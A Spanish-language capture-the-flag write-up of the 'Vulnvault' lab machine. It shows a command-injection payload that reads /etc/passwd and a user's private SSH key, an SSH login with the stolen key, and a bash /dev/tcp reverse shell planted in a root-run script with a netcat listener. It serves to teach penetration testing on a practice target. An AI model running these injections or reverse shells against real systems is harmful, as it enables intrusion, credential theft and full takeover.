> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/vulnvault-write-up.md).

# Vulnvault write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/d9pQu8vlJVllqlndeF2F" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos de la máquina víctima**

Utilizamos **Nmap** para realizar un escaneo de los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/lgCRtAMEz2CdaHP6ntFh" alt=""><figcaption></figcaption></figure>

Esto nos indica que el puerto 22 (SSH) y 80 (HTTP) están abiertos. Así que ponemos la IP de la máquina víctima en el navegador y nos muestra lo siguiente:

<figure><img src="/files/E4Cs053yGuUWRz2DW7LM" alt=""><figcaption></figcaption></figure>

Vemos un formulario donde podemos escribir un nombre de un archivo y la fecha, lo importante es que este formulario es vulnerable a un **RCE** (Remote Code Execution)

<figure><img src="/files/Wrqs3ms02Y2b6mXI7tB9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d0cs9nQI741tKeIlDWmu" alt=""><figcaption></figcaption></figure>

Así que vamos a ejecutar el comando `cat /etc/passwd` para ver los usuarios del sistema.

<figure><img src="/files/7s5ostyfCn4uFQOZRv6C" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/T2EjkNA2LwRCowKBxShB" alt=""><figcaption></figcaption></figure>

Esto nos indica que existe el usuario `samara`, así que ahora miraremos a ver si también podemos ver la clave privada del usuario del servicio SSH con el siguiente comando:

```bash
; cat /home/samara/.ssh/id_rsa
```

<figure><img src="/files/PNIdCYhzXr77SkGDSTTs" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/UsKBul5U2STf7dLnNLbI" alt=""><figcaption></figcaption></figure>

Lo cual efectivamente nos muestra la clave privada del usuario `samara`, así que ahora solo tenemos que guardar la clave privada en un archivo, darle permisos de escritura y lectura solo al propietario y ejecutar el siguiente comando:

```bash
ssh -i id_rsa samara@172.17.0.2  
```

<figure><img src="/files/K0pUlVtIGShJqUXA7o9A" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima vamos a ejecutar el comando `ps aux` el cual nos indicará los procesos que se están ejecutando en la máquina.

<figure><img src="/files/p1kFAtcXlyejbUmWkqdA" alt=""><figcaption></figcaption></figure>

Si nos fijamos vemos que se esta ejecutando en bucle el script `/usr/local/bin/echo.sh`, así que lo que vamos a hacer es cambiar el script para que nos envíe una reverse shell poniéndole lo siguiente:

```bash
#!/bin/bash

bash -i >& /dev/tcp/172.17.0.1/443 0>&1
```

Y después de cambiar el archivo solo nos tenemos que poner por escucha con **Netcat** con el siguiente comando:

```bash
sudo nc -nlvvp 443 
```

Finalmente, ya tendríamos una shell con privilegios root.

<figure><img src="/files/SIKdCbeGqyWd2PyEPfIG" alt=""><figcaption></figcaption></figure>
